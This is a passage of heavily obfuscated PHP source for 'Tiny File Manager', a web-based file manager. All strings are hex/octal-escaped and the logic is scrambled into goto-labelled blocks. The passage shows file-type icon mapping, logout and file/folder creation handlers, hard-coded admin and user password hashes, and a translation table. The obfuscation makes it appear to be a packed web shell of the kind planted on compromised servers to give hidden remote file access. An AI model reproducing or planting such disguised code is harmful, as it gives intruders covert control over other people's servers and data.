case "\160\150\x74\x6d\x6c": $img = "\146\141\40\146\x61\x2d\x63\157\x64\145"; break; case "\x68\x74\x6d": case "\150\x74\x6d\x6c": case "\163\x68\x74\x6d\x6c": case "\x78\x68\x74\155\154": $img = "\146\141\x20\x66\x61\x2d\150\164\x6d\x6c\x35"; break; case "\x78\x6d\x6c": case "\x78\x73\x6c": $img = "\x66\x61\40\146\x61\55\x66\x69\x6c\145\55\145\170\x63\x65\154\55\157"; break; case "\167\x61\x76": case "\155\160\63": case "\x6d\160\x32": case "\155\64\x61": case "\141\141\143": case "\157\147\x67": case "\x6f\x67\x61": case "\167\x6d\141": case "\x6d\153\x61": case "\146\154\x61\143": case "\x61\143\x33": case "\x74\144\x73": $img = "\x66\x61\40\x66\x61\55\x6d\x75\163\151\x63"; break; case "\x6d\x33\165": case "\155\x33\x75\x38": case "\160\154\x73": case "\143\165\x65": case "\170\x73\x70\146": $img = "\146\x61\40\146\141\x2d\150\x65\x61\144\160\x68\157\156\145\x73"; break; case "\141\x76\x69": case "\155\x70\147": case "\155\x70\145\x67": case "\155\x70\x34": case "\155\x34\x76": case "\x66\154\166": case "\x66\64\166": case "\x6f\x67\155": case "\157\x67\x76": case "\x6d\x6f\166": case "\x6d\153\x76": case "\x33\147\160": case "\x61\x73\x66": case "\167\155\166": case "\x77\145\x62\x6d": $img = "\x66\x61\x20\146\141\55\x66\151\154\145\x2d\166\x69\x64\x65\157\55\157"; break; case "\145\x6d\x6c": case "\x6d\x73\147": $img = "\146\141\40\x66\141\55\x65\156\x76\x65\x6c\x6f\x70\x65\x2d\x6f"; break; case "\170\154\x73": case "\170\x6c\163\x78": case "\x6f\x64\x73": $img = "\146\x61\x20\x66\141\55\146\x69\154\x65\55\145\x78\143\x65\154\x2d\157"; break; case "\143\x73\x76": $img = "\146\141\x20\x66\x61\55\146\x69\154\145\55\x74\145\x78\164\55\157"; break; case "\x62\x61\x6b": case "\x73\167\x70": $img = "\146\x61\40\x66\141\x2d\x63\x6c\x69\x70\142\x6f\x61\162\144"; break; case "\144\157\x63": case "\144\157\143\x78": case "\x6f\x64\x74": $img = "\146\141\40\146\x61\x2d\x66\151\x6c\x65\x2d\167\157\162\x64\55\157"; break; case "\x70\160\x74": case "\x70\x70\x74\170": $img = "\x66\141\x20\x66\x61\x2d\146\151\x6c\x65\55\160\x6f\x77\x65\x72\x70\157\x69\156\164\55\157"; break; case "\164\164\146": case "\164\164\143": case "\x6f\x74\146": case "\167\x6f\146\x66": case "\167\x6f\146\x66\62": case "\145\157\164": case "\x66\x6f\x6e": $img = "\x66\141\x20\x66\141\55\x66\157\x6e\x74"; break; case "\160\x64\146": $img = "\146\141\40\146\141\55\146\151\x6c\145\55\x70\144\x66\55\x6f"; break; case "\x70\x73\144": case "\141\151": case "\x65\160\163": case "\x66\x6c\x61": case "\x73\x77\x66": $img = "\x66\141\x20\146\x61\x2d\x66\x69\x6c\x65\x2d\x69\155\141\x67\145\55\x6f"; break; case "\145\170\x65": case "\x6d\163\x69": $img = "\146\x61\x20\146\141\x2d\x66\x69\x6c\x65\55\157"; break; case "\142\141\x74": $img = "\x66\141\x20\x66\141\55\164\x65\x72\155\151\x6e\x61\x6c"; break; default: $img = "\146\141\x20\x66\x61\x2d\x69\156\146\x6f\55\x63\151\x72\143\x6c\x65"; } return $img; } goto Gw1vg; Swm02: ?>
<th><?php  goto wt7le; BHVEP: if (!isset($_GET["\160"]) && empty($_FILES)) { fm_redirect(FM_SELF_URL . "\x3f\160\x3d"); } goto mW79D; dDe8a: if (isset($_GET["\154\x6f\x67\x6f\165\x74"])) { unset($_SESSION[FM_SESSION_ID]["\x6c\x6f\147\147\145\144"]); unset($_SESSION["\x74\x6f\153\145\x6e"]); fm_redirect(FM_SELF_URL); } goto UTs20; Ffatt: function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, "\67\56\x30\56\60", "\x3c")) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("\x2a\x2e{$ext}", $exclude_items)) { return true; } return false; } goto tYTYI; h7y7f: $global_readonly = false; goto JGBOL; bDrV5: if (isset($_POST["\x6e\145\x77\146\x69\154\x65\156\141\155\x65"], $_POST["\156\x65\167\146\151\x6c\x65"], $_POST["\164\x6f\x6b\x65\x6e"]) && !FM_READONLY) { $type = $_POST["\x6e\145\167\x66\x69\154\145"]; $new = str_replace("\x2f", '', fm_clean_path(strip_tags($_POST["\x6e\145\x77\146\151\x6c\x65\156\x61\155\145"]))); if (fm_isvalid_filename($new) && $new != '' && $new != "\x2e\x2e" && $new != "\x2e" && verifyToken($_POST["\x74\157\153\145\156"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } if ($type == "\x66\151\x6c\x65") { if (!file_exists($path . "\57" . $new)) { if (fm_is_valid_ext($new)) { @fopen($path . "\x2f" . $new, "\x77") or die("\103\x61\x6e\156\x6f\164\x20\x6f\160\145\156\x20\146\x69\x6c\x65\x3a\40\40" . $new); fm_set_msg(sprintf(lng("\x46\x69\154\145") . "\x20\x3c\142\76\45\163\x3c\57\142\x3e\x20" . lng("\x43\x72\x65\141\x74\145\144"), fm_enc($new))); } else { fm_set_msg(lng("\x46\151\x6c\145\40\145\x78\x74\145\156\163\x69\x6f\x6e\x20\151\x73\x20\156\x6f\164\40\x61\x6c\154\x6f\167\x65\144"), "\145\162\x72\x6f\x72"); } } else { fm_set_msg(sprintf(lng("\106\x69\x6c\x65") . "\x20\x3c\x62\x3e\x25\x73\74\x2f\142\x3e\40" . lng("\x61\x6c\x72\145\141\144\171\x20\x65\x78\151\x73\x74\163"), fm_enc($new)), "\141\154\145\162\x74"); } } else { if (fm_mkdir($path . "\57" . $new, false) === true) { fm_set_msg(sprintf(lng("\106\157\154\144\145\162") . "\x20\x3c\x62\76\x25\163\74\57\142\x3e\40" . lng("\x43\162\145\x61\164\x65\x64"), $new)); } elseif (fm_mkdir($path . "\x2f" . $new, false) === $path . "\x2f" . $new) { fm_set_msg(sprintf(lng("\106\x6f\154\x64\145\162") . "\x20\74\142\76\45\x73\x3c\x2f\142\x3e\x20" . lng("\141\154\162\x65\141\x64\171\40\x65\x78\151\x73\x74\x73"), fm_enc($new)), "\141\154\x65\x72\164"); } else { fm_set_msg(sprintf(lng("\106\157\154\x64\145\x72") . "\40\x3c\x62\x3e\45\163\74\x2f\142\x3e\x20" . lng("\x6e\x6f\164\x20\143\162\x65\141\x74\x65\144"), fm_enc($new)), "\x65\162\162\157\162"); } } } else { fm_set_msg(lng("\111\x6e\166\141\x6c\x69\x64\40\143\x68\141\x72\x61\x63\x74\x65\x72\163\40\x69\156\40\146\151\154\x65\40\157\x72\40\x66\157\x6c\144\145\x72\40\x6e\141\x6d\145"), "\x65\162\x72\157\x72"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\75" . urlencode($FM_PATH)); } goto RXh18; Uudpw: function fm_isvalid_filename($text) { return strpbrk($text, "\57\x3f\45\x2a\72\x7c\x22\x3c\x3e") === FALSE ? true : false; } goto rlfDC; XsBdO: $auth_users = array("\x61\144\x6d\x69\156" => "\44\62\x79\x24\61\60\x24\x61\x2f\170\106\116\155\132\124\163\171\x2f\143\144\x30\112\131\130\x49\x54\x37\162\117\65\132\x75\x7a\145\x34\164\103\x47\122\x7a\x47\156\144\122\x32\x69\x48\x43\116\107\122\127\153\121\x71\x6a\x61\x37\x65\x4f", "\165\x73\x65\x72" => "\x24\x32\171\x24\61\60\44\x46\x67\66\x44\172\70\157\110\x39\146\120\157\x5a\x32\152\x4a\x61\156\65\164\x5a\165\166\x36\132\x34\x4b\160\x37\141\x76\164\x51\x39\x62\104\146\162\144\122\x6e\x74\130\x74\x50\x65\x69\115\x41\132\x79\x47\117"); goto Z2uBi; P0Bpn: if (!is_dir($path)) { fm_redirect(FM_SELF_URL . "\x3f\x70\x3d"); } goto ybgEe; DV2Ou: defined("\x46\115\137\x53\x45\x4c\106\x5f\125\122\114") || define("\x46\115\x5f\x53\x45\114\106\137\x55\122\114", ($is_https ? "\x68\164\164\x70\163" : "\x68\x74\x74\x70") . "\72\57\x2f" . $http_host . $_SERVER["\x50\110\120\x5f\123\x45\x4c\106"]); goto dDe8a; serJP: ?>
</th><th><?php  goto mcdRA; eDvtM: define("\x41\x50\x50\x5f\124\x49\124\114\105", "\124\x69\x6e\x79\x20\x46\x69\154\x65\40\x4d\x61\156\141\147\x65\x72"); goto AyCLQ; pAOLS: function lng($txt) { global $lang; $tr["\x65\156"]["\x41\x70\160\116\x61\x6d\x65"] = "\124\151\x6e\171\x20\106\x69\x6c\145\x20\x4d\x61\x6e\141\x67\145\162"; $tr["\x65\156"]["\x41\x70\x70\x54\x69\164\154\145"] = "\x46\x69\x6c\x65\40\x4d\141\156\x61\147\x65\162"; $tr["\145\156"]["\x4c\x6f\x67\x69\156"] = "\x53\x69\147\156\x20\x69\x6e"; $tr["\145\x6e"]["\125\163\x65\x72\x6e\x61\x6d\x65"] = "\x55\163\145\x72\x6e\141\x6d\x65"; $tr["\145\156"]["\120\x61\163\x73\167\157\162\144"] = "\x50\141\x73\163\x77\x6f\162\144"; $tr["\x65\156"]["\114\157\147\x6f\x75\164"] = "\123\x69\147\156\x20\117\165\x74"; $tr["\145\x6e"]["\x4d\157\166\145"] = "\115\157\166\145"; $tr["\x65\156"]["\103\157\x70\x79"] = "\x43\157\160\171"; $tr["\145\x6e"]["\x53\141\166\x65"] = "\123\141\166\145"; $tr["\x65\156"]["\123\x65\x6c\145\143\164\101\154\154"] = "\123\x65\154\145\143\164\x20\141\x6c\154"; $tr["\145\156"]["\125\156\x53\145\x6c\x65\143\164\101\x6c\154"] = "\125\x6e\163\x65\x6c\x65\x63\x74\40\x61\x6c\154"; $tr["\145\x6e"]["\106\151\154\x65"] = "\x46\151\x6c\145"; $tr["\145\x6e"]["\102\141\143\153"] = "\x42\x61\x63\x6b"; $tr["\145\156"]["\123\151\x7a\145"] = "\123\x69\172\145"; $tr["\x65\x6e"]["\x50\145\x72\x6d\163"] = "\x50\145\x72\x6d\163"; $tr["\x65\156"]["\x4d\x6f\144\x69\146\x69\145\144"] = "\115\x6f\x64\151\146\x69\x65\x64"; $tr["\x65\156"]["\117\x77\x6e\x65\x72"] = "\x4f\167\156\145\x72"; $tr["\x65\x6e"]["\x53\145\141\x72\143\x68"] = "\x53\145\141\162\x63\x68"; $tr["\145\156"]["\x4e\145\167\111\164\145\x6d"] = "\x4e\x65\x77\x20\x49\x74\x65\155"; $tr["\145\156"]["\x46\x6f\x6c\x64\145\x72"] = "\106\157\154\x64\145\x72"; $tr["\145\156"]["\104\x65\x6c\145\x74\145"] = "\104\145\154\145\x74\145"; $tr["\x65\x6e"]["\x52\145\x6e\x61\155\145"] = "\122\145\x6e\x61\x6d\145"; $tr["\145\x6e"]["\x43\157\x70\x79\x54\x6f"] = "\x43\157\160\171\x20\164\x6f"; $tr["\145\156"]["\104\151\x72\145\143\164\x4c\x69\x6e\153"] = "\104\151\162\x65\x63\164\x20\154\151\x6e\x6b"; $tr["\x65\156"]["\x55\160\154\157\141\x64\x69\156\147\106\151\x6c\x65\x73"] = "\125\160\x6c\x6f\x61\x64\x20\106\151\154\x65\163"; $tr["\x65\156"]["\103\150\x61\156\147\x65\120\x65\x72\155\x69\163\x73\x69\x6f\156\x73"] = "\103\x68\x61\156\147\x65\x20\120\x65\162\155\x69\163\x73\151\x6f\x6e\163"; $tr["\145\x6e"]["\103\x6f\x70\171\151\x6e\x67"] = "\103\x6f\x70\171\x69\156\147"; $tr["\x65\156"]["\103\162\145\x61\164\145\116\x65\x77\111\x74\145\155"] = "\x43\x72\145\x61\x74\145\x20\116\145\x77\x20\x49\x74\x65\x6d"; $tr["\x65\x6e"]["\116\141\x6d\x65"] = "\116\x61\155\145"; $tr["\145\x6e"]["\101\144\x76\141\x6e\143\x65\x64\x45\144\151\x74\x6f\x72"] = "\x41\144\x76\x61\156\143\x65\144\40\x45\x64\151\x74\x6f\162"; $tr["\145\x6e"]["\x52\145\155\x65\155\x62\145\162\x4d\x65"] = "\x52\145\155\x65\x6d\142\x65\162\x20\115\x65"; $tr["\x65\x6e"]["\x41\x63\x74\151\157\x6e\x73"] = "\x41\x63\x74\x69\157\x6e\163"; $tr["\x65\156"]["\x55\x70\154\157\141\144"] = "\125\160\154\x6f\141\144"; $tr["\145\156"]["\103\141\x6e\143\145\154"] = "\103\141\156\x63\x65\154"; $tr["\145\x6e"]["\x49\x6e\166\145\162\164\x53\x65\154\145\x63\164\x69\x6f\x6e"] = "\111\x6e\166\145\x72\164\x20\x53\145\x6c\x65\x63\164\x69\x6f\156"; $tr["\145\x6e"]["\104\145\163\x74\x69\156\141\164\x69\157\x6e\106\157\x6c\x64\145\162"] = "\x44\x65\163\164\x69\156\x61\x74\151\157\156\x20\x46\x6f\x6c\x64\x65\x72"; $tr["\145\x6e"]["\x49\x74\x65\x6d\124\171\x70\x65"] = "\111\164\145\x6d\x20\x54\x79\x70\145"; $tr["\x65\x6e"]["\111\x74\145\155\116\x61\155\x65"] = "\x49\164\145\155\40\116\141\155\x65"; $tr["\x65\156"]["\103\162\145\x61\x74\145\x4e\157\x77"] = "\103\162\145\141\164\x65\x20\x4e\157\167"; $tr["\x65\156"]["\104\x6f\167\156\x6c\x6f\x61\144"] = "\x44\157\167\x6e\154\157\141\144"; $tr["\x65\156"]["\x4f\x70\145\156"] = "\117\x70\145\x6e"; $tr["\x65\156"]["\125\x6e\x5a\151\160"] = "\x55\x6e\132\151\x70"; $tr["\145\x6e"]["\x55\x6e\x5a\151\160\124\x6f\106\x6f\154\x64\145\x72"] = "\125\x6e\132\x69\160\x20\164\157\x20\146\157\x6c\144\145\162"; $tr["\x65\x6e"]["\105\x64\x69\164"] = "\x45\x64\x69\x74"; $tr["\145\156"]["\116\157\162\155\x61\x6c\x45\144\x69\x74\x6f\162"] = "\116\157\x72\x6d\x61\x6c\40\105\144\x69\x74\x6f\x72"; $tr["\x65\156"]["\102\141\x63\153\x55\160"] = "\102\x61\x63\x6b\40\x55\160"; $tr["\x65\156"]["\x53\x6f\165\162\x63\145\x46\x6f\154\144\145\162"] = "\123\x6f\165\x72\143\145\40\x46\157\x6c\x64\145\162"; $tr["\145\156"]["\x46\151\154\x65\x73"] = "\x46\151\x6c\145\163"; $tr["\x65\156"]["\115\x6f\166\x65"] = "\x4d\x6f\166\x65"; $tr["\x65\x6e"]["\103\x68\141\x6e\147\x65"] = "\103\x68\141\156\147\x65"; $tr["\145\156"]["\123\145\x74\164\151\x6e\x67\163"] = "\x53\145\x74\164\x69\x6e\x67\163"; $tr["\x65\156"]["\x4c\x61\x6e\x67\165\141\147\145"] = "\x4c\141\156\147\165\x61\x67\145"; $tr["\x65\156"]["\106\157\x6c\144\145\162\x20\x69\x73\40\x65\155\x70\x74\171"] = "\x46\x6f\154\x64\145\162\x20\x69\163\x20\145\x6d\160\164\x79"; $tr["\145\x6e"]["\120\x61\162\x74\151\164\x69\x6f\156\x53\151\172\145"] = "\x50\x61\x72\x74\x69\x74\151\x6f\156\40\x73\151\172\x65"; $tr["\145\x6e"]["\x45\x72\x72\x6f\x72\x52\145\x70\157\162\x74\x69\x6e\x67"] = "\105\x72\162\x6f\x72\x20\x52\145\160\x6f\162\164\151\156\x67"; $tr["\145\x6e"]["\123\150\157\167\110\151\x64\x64\x65\x6e\x46\151\154\145\x73"] = "\123\x68\x6f\x77\40\110\151\x64\144\x65\x6e\x20\106\151\154\145\163"; $tr["\145\x6e"]["\110\x65\154\x70"] = "\110\x65\154\x70"; $tr["\145\x6e"]["\103\162\x65\x61\164\145\x64"] = "\103\162\145\141\x74\145\x64"; $tr["\145\x6e"]["\x46\x72\145\145\x20\157\x66"] = "\106\162\145\x65\40\157\x66"; $tr["\x65\156"]["\x50\162\x65\x76\x69\145\x77"] = "\x50\x72\145\166\x69\x65\167"; $tr["\x65\156"]["\x48\145\x6c\x70\40\104\x6f\143\165\155\x65\x6e\x74\x73"] = "\110\145\154\160\x20\104\157\x63\x75\155\145\156\x74\x73"; $tr["\145\x6e"]["\x52\145\x70\157\162\164\40\x49\163\x73\165\x65"] = "\122\x65\160\157\162\164\40\x49\x73\x73\x75\x65"; $tr["\x65\x6e"]["\x47\145\x6e\145\x72\141\x74\145"] = "\x47\145\x6e\145\162\141\x74\145"; $tr["\145\x6e"]["\106\x75\154\x6c\123\151\x7a\x65"] = "\106\165\154\x6c\40\x53\151\172\145"; $tr["\x65\x6e"]["\106\162\145\145\x4f\146"] = "\146\x72\x65\x65\40\157\x66"; $tr["\x65\156"]["\x43\x61\154\x63\x75\154\x61\164\145\x46\x6f\154\x64\x65\x72\123\x69\172\145"] = "\103\x61\154\x63\x75\x6c\x61\164\x65\40\x66\x6f\x6c\x64\x65\x72\x20\163\151\x7a\145"; $tr["\x65\x6e"]["\x48\151\x64\x65\x43\x6f\154\165\155\156\x73"] = "\110\151\x64\145\40\x50\x65\x72\x6d\x73\57\117\167\156\145\x72\40\143\x6f\154\165\x6d\x6e\x73"; $tr["\145\156"]["\131\157\165\40\141\x72\145\x20\154\157\147\x67\x65\x64\x20\151\x6e"] = "\x59\157\x75\40\141\x72\x65\x20\x6c\157\x67\x67\145\x64\40\x69\156"; $tr["\145\x6e"]["\116\157\x74\x68\x69\x6e\x67\40\163\x65\x6c\x65\x63\x74\145\x64"] = "\x4e\x6f\164\x68\x69\156\147\40\163\x65\x6c\x65\x63\x74\145\144"; $tr["\145\x6e"]["\x50\x61\164\x68\163\x20\x6d\x75\163\164\40\x62\145\x20\x6e\x6f\x74\40\x65\x71\x75\141\154"] = "\x50\141\x74\x68\163\40\x6d\165\163\164\x20\142\x65\40\x6e\157\x74\x20\145\161\x75\141\x6c"; $tr["\145\156"]["\x52\145\156\141\x6d\x65\x64\40\146\x72\x6f\x6d"] = "\122\x65\156\141\x6d\x65\x64\40\x66\x72\157\x6d"; $tr["\145\x6e"]["\x41\162\143\150\x69\166\145\40\x6e\x6f\164\x20\165\156\x70\141\143\153\145\x64"] = "\x41\x72\143\x68\151\166\145\40\x6e\157\x74\x20\x75\x6e\x70\x61\143\x6b\x65\x64"; $tr["\x65\156"]["\104\x65\154\x65\164\145\x64"] = "\x44\x65\x6c\145\x74\145\x64"; $tr["\145\156"]["\x41\162\x63\x68\151\166\x65\x20\x6e\x6f\164\40\x63\162\x65\141\164\145\144"] = "\101\x72\x63\150\x69\x76\145\40\x6e\157\x74\x20\x63\x72\x65\141\x74\145\144"; $tr["\x65\156"]["\x43\157\x70\x69\x65\x64\40\x66\162\157\155"] = "\x43\157\x70\x69\x65\144\x20\146\x72\x6f\155"; $tr["\145\156"]["\x50\145\x72\x6d\x69\x73\163\151\157\156\x73\40\x63\x68\x61\156\x67\145\144"] = "\120\145\x72\x6d\x69\163\163\x69\x6f\156\163\40\143\150\141\156\x67\145\x64"; $tr["\145\156"]["\164\x6f"] = "\x74\157"; $tr["\x65\x6e"]["\x53\x61\166\x65\144\x20\x53\165\143\143\x65\163\x73\x66\x75\x6c\154\x79"] = "\123\141\166\x65\144\x20\123\x75\x63\x63\145\163\163\x66\x75\x6c\x6c\171"; $tr["\x65\156"]["\x6e\x6f\164\40\146\157\x75\156\144\41"] = "\156\x6f\x74\40\x66\157\x75\x6e\144\x21"; $tr["\x65\x6e"]["\x46\x69\x6c\145\x20\x53\x61\x76\x65\144\40\123\165\x63\143\x65\x73\163\146\165\x6c\154\171"] = "\106\x69\x6c\145\x20\x53\141\166\x65\144\x20\x53\165\x63\x63\145\x73\163\x66\x75\154\154\x79"; $tr["\x65\x6e"]["\x41\162\143\150\x69\166\145"] = "\x41\x72\143\150\x69\x76\145"; $tr["\145\156"]["\120\x65\x72\x6d\151\x73\163\151\x6f\x6e\x73\x20\x6e\x6f\164\40\x63\150\x61\x6e\x67\x65\x64"] = "\x50\145\x72\x6d\x69\163\x73\151\157\156\x73\x20\156\157\x74\x20\x63\150\x61\156\x67\145\x64"; $tr["\x65\156"]["\123\x65\154\145\143\164\40\146\x6f\x6c\x64\145\162"] = "\123\145\x6c\x65\x63\x74\40\146\157\x6c\x64\145\162"; $tr["\145\x6e"]["\x53\x6f\165\162\x63\x65\x20\160\141\164\150\40\x6e\x6f\x74\x20\x64\145\146\x69\156\145\144"] = "\123\x6f\165\162\x63\145\x20\x70\141\164\x68\x20\156\x6f\164\40\x64\x65\146\x69\156\x65\144"; $tr["\x65\156"]["\x61\x6c\x72\145\x61\x64\171\x20\145\x78\151\x73\164\163"] = "\141\x6c\x72\x65\x61\144\x79\x20\145\170\x69\163\164\x73"; $tr["\x65\x6e"]["\105\x72\x72\x6f\162\40\167\150\x69\x6c\x65\40\155\157\x76\x69\x6e\147\x20\x66\162\157\x6d"] = "\105\x72\x72\x6f\x72\40\167\x68\151\x6c\145\x20\x6d\157\x76\151\156\x67\40\146\162\x6f\155"; $tr["\145\156"]["\103\x72\x65\x61\164\x65\x20\141\x72\x63\150\151\x76\x65\x3f"] = "\x43\162\x65\x61\x74\x65\x20\141\162\143\x68\151\x76\x65\77"; $tr["\145\x6e"]["\111\x6e\x76\141\x6c\x69\144\40\x66\x69\x6c\x65\40\157\162\40\x66\x6f\x6c\x64\145\162\40\156\141\x6d\x65"] = "\x49\156\166\x61\x6c\x69\144\x20\x66\151\154\145\40\x6f\x72\40\146\157\x6c\x64\x65\162\40\x6e\141\x6d\x65"; $tr["\x65\x6e"]["\x41\162\x63\x68\x69\x76\x65\40\165\x6e\160\x61\x63\153\145\x64"] = "\x41\x72\x63\x68\x69\166\x65\40\x75\156\160\141\143\x6b\x65\x64"; $tr["\145\156"]["\x46\x69\154\145\x20\145\x78\x74\145\x6e\x73\151\x6f\x6e\x20\x69\x73\40\156\x6f\164\40\141\x6c\154\x6f\x77\145\x64"] = "\106\x69\154\145\40\x65\170\x74\x65\156\x73\x69\x6f\x6e\x20\151\163\40\x6e\157\x74\40\x61\154\x6c\157\167\x65\144"; $tr["\145\x6e"]["\x52\157\157\164\x20\160\141\164\150"] = "\x52\x6f\x6f\164\40\x70\141\164\x68"; $tr["\x65\156"]["\105\162\162\x6f\x72\x20\167\150\x69\154\145\x20\162\x65\x6e\141\x6d\151\156\147\x20\x66\162\157\155"] = "\105\x72\162\157\x72\40\x77\150\x69\x6c\x65\x20\162\x65\x6e\141\155\151\x6e\x67\x20\146\x72\x6f\x6d"; $tr["\x65\156"]["\x46\x69\x6c\x65\x20\x6e\157\164\40\146\157\165\156\144"] = "\x46\151\154\145\x20\x6e\x6f\164\x20\x66\157\x75\x6e\144"; $tr["\145\156"]["\105\x72\x72\x6f\162\x20\167\150\x69\x6c\x65\40\x64\x65\x6c\x65\x74\x69\x6e\147\x20\151\x74\145\x6d\163"] = "\105\x72\x72\x6f\162\x20\167\x68\151\154\145\x20\x64\145\154\145\x74\x69\x6e\147\40\x69\164\x65\x6d\163"; $tr["\x65\x6e"]["\x4d\x6f\166\x65\144\40\x66\162\157\155"] = "\115\x6f\166\145\x64\40\146\162\157\155"; $tr["\145\x6e"]["\x43\x68\x65\143\153\40\x4c\141\164\x65\x73\x74\x20\x56\145\x72\163\151\x6f\156"] = "\x43\150\145\x63\x6b\40\x4c\141\x74\x65\x73\164\x20\126\x65\162\x73\151\x6f\x6e"; $tr["\x65\156"]["\107\145\156\x65\162\x61\x74\145\x20\x6e\x65\x77\x20\160\x61\x73\163\167\x6f\162\144\40\x68\x61\x73\x68"] = "\x47\x65\x6e\x65\x72\141\x74\x65\x20\x6e\x65\x77\x20\160\141\x73\x73\x77\157\x72\x64\40\x68\141\x73\150"; $tr["\x65\x6e"]["\x4c\x6f\147\x69\x6e\40\x66\x61\151\x6c\x65\144\x2e\x20\111\x6e\166\141\154\151\144\40\165\163\145\162\x6e\x61\x6d\145\x20\x6f\162\40\x70\141\163\163\x77\157\162\144"] = "\x4c\x6f\147\x69\x6e\40\146\141\x69\x6c\145\144\56\x20\x49\156\x76\141\x6c\151\x64\40\x75\163\x65\162\156\141\x6d\x65\40\157\x72\x20\x70\141\x73\163\x77\157\162\144"; $tr["\x65\x6e"]["\x70\x61\163\163\x77\157\x72\144\137\x68\141\x73\150\40\x6e\157\164\40\163\165\x70\x70\157\162\x74\x65\144\x2c\40\x55\160\147\162\141\x64\145\40\x50\x48\120\x20\x76\145\162\163\151\157\156"] = "\x70\x61\x73\x73\167\x6f\162\x64\x5f\150\141\163\150\x20\x6e\157\164\40\x73\165\x70\x70\x6f\x72\x74\145\x64\54\40\x55\x70\147\162\x61\x64\x65\40\x50\110\120\40\166\x65\x72\163\x69\157\x6e"; $tr["\145\156"]["\101\x64\x76\141\x6e\x63\x65\144\40\x53\145\x61\162\x63\x68"] = "\101\x64\166\x61\x6e\143\x65\x64\x20\x53\x65\141\x72\143\150"; $tr["\145\x6e"]["\x45\x72\162\157\x72\40\x77\150\151\154\145\x20\143\x6f\x70\x79\151\x6e\x67\40\x66\x72\x6f\x6d"] = "\x45\162\162\157\162\40\167\x68\x69\154\145\40\143\157\160\171\x69\x6e\147\40\x66\162\x6f\155"; $tr["\x65\156"]["\111\x6e\x76\x61\154\x69\144\x20\x63\x68\141\162\x61\x63\164\145\x72\163\40\151\x6e\40\x66\x69\154\x65\x20\x6e\x61\155\x65"] = "\111\156\166\141\x6c\x69\144\40\143\x68\141\162\141\x63\164\145\x72\x73\x20\x69\156\40\x66\151\x6c\x65\40\x6e\141\x6d\x65"; $tr["\x65\156"]["\106\111\x4c\x45\x20\x45\130\x54\x45\x4e\123\111\117\x4e\x20\110\x41\x53\x20\116\117\124\x20\x53\x55\120\120\x4f\x52\x54\105\x44"] = "\x46\111\114\x45\40\x45\130\x54\105\116\123\x49\x4f\116\x20\110\x41\x53\40\116\x4f\124\x20\x53\x55\120\120\117\x52\124\105\x44"; $tr["\145\156"]["\x53\x65\154\x65\143\x74\x65\x64\40\146\151\x6c\x65\163\40\x61\156\144\x20\146\x6f\154\144\x65\x72\x20\x64\x65\154\x65\164\145\x64"] = "\x53\145\x6c\145\x63\x74\145\144\x20\x66\x69\x6c\x65\x73\x20\x61\x6e\x64\x20\146\157\154\x64\145\162\x20\x64\x65\x6c\145\164\x65\x64"; $tr["\x65\x6e"]["\x45\x72\162\157\x72\40\167\x68\x69\x6c\145\40\x66\145\x74\x63\x68\151\156\x67\x20\141\x72\x63\150\151\166\145\x20\x69\156\146\x6f"] = "\x45\162\162\157\x72\40\x77\x68\x69\x6c\x65\x20\146\x65\164\x63\150\151\156\x67\40\141\x72\143\150\x69\166\145\x20\151\156\146\x6f"; $tr["\145\x6e"]["\104\x65\x6c\x65\164\145\x20\163\145\154\145\143\164\145\x64\40\x66\151\154\x65\x73\40\141\x6e\x64\40\x66\157\x6c\x64\145\x72\x73\77"] = "\x44\145\x6c\145\164\x65\x20\x73\x65\x6c\x65\143\164\145\x64\40\146\151\154\x65\x73\x20\x61\x6e\x64\40\x66\157\154\144\x65\x72\163\x3f"; $tr["\145\x6e"]["\x53\145\141\162\143\x68\x20\x66\x69\154\145\40\151\156\x20\146\x6f\154\144\145\162\x20\x61\156\144\40\x73\165\x62\x66\157\154\x64\145\x72\163\56\x2e\x2e"] = "\123\x65\141\162\x63\x68\40\x66\x69\154\x65\x20\x69\x6e\40\146\157\154\x64\145\162\x20\141\x6e\144\40\163\x75\x62\x66\157\154\144\145\162\x73\x2e\x2e\56"; $tr["\145\x6e"]["\101\x63\x63\x65\163\x73\40\x64\x65\x6e\x69\145\144\x2e\x20\x49\x50\x20\162\145\x73\164\x72\x69\x63\164\x69\x6f\x6e\40\x61\160\x70\154\x69\143\141\142\154\x65"] = "\101\x63\143\x65\x73\163\40\144\145\x6e\151\145\x64\56\x20\111\120\x20\162\145\163\164\162\x69\143\164\151\157\156\40\x61\x70\160\154\x69\143\x61\142\x6c\x65"; $tr["\x65\x6e"]["\x49\x6e\x76\x61\154\151\144\40\143\x68\x61\162\x61\x63\x74\145\x72\163\x20\151\x6e\x20\146\x69\154\145\40\x6f\x72\40\x66\x6f\x6c\x64\x65\x72\x20\x6e\141\155\x65"] = "\111\156\x76\x61\154\151\x64\x20\143\150\141\x72\x61\x63\164\x65\x72\x73\40\151\x6e\x20\146\x69\154\x65\40\x6f\162\x20\x66\x6f\x6c\144\145\162\x20\x6e\141\155\x65"; $tr["\145\156"]["\117\x70\x65\x72\141\164\x69\157\156\x73\x20\167\151\x74\150\x20\x61\x72\x63\x68\x69\x76\145\163\40\x61\162\x65\x20\x6e\x6f\x74\x20\x61\166\141\151\154\x61\x62\154\145"] = "\x4f\160\x65\x72\141\x74\151\157\x6e\163\40\x77\151\164\x68\40\141\x72\143\150\x69\x76\145\163\40\141\x72\x65\40\156\x6f\x74\x20\141\166\141\151\154\141\142\154\x65"; $tr["\x65\x6e"]["\x46\151\x6c\145\40\x6f\162\40\x66\x6f\154\144\145\162\40\x77\151\164\x68\40\164\150\151\x73\40\160\141\x74\150\x20\141\154\162\x65\141\x64\171\40\145\170\151\x73\x74\x73"] = "\106\x69\x6c\145\x20\x6f\x72\x20\146\157\x6c\144\145\x72\40\x77\x69\164\150\x20\x74\x68\x69\163\x20\160\141\x74\150\x20\141\x6c\x72\x65\x61\x64\171\x20\145\x78\x69\x73\x74\x73"; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) { $lang = "\145\x6e"; } if (isset($tr[$lang][$txt])) { return fm_enc($tr[$lang][$txt]); } else { if (isset($tr["\145\156"][$txt])) { return fm_enc($tr["\145\156"][$txt]); } 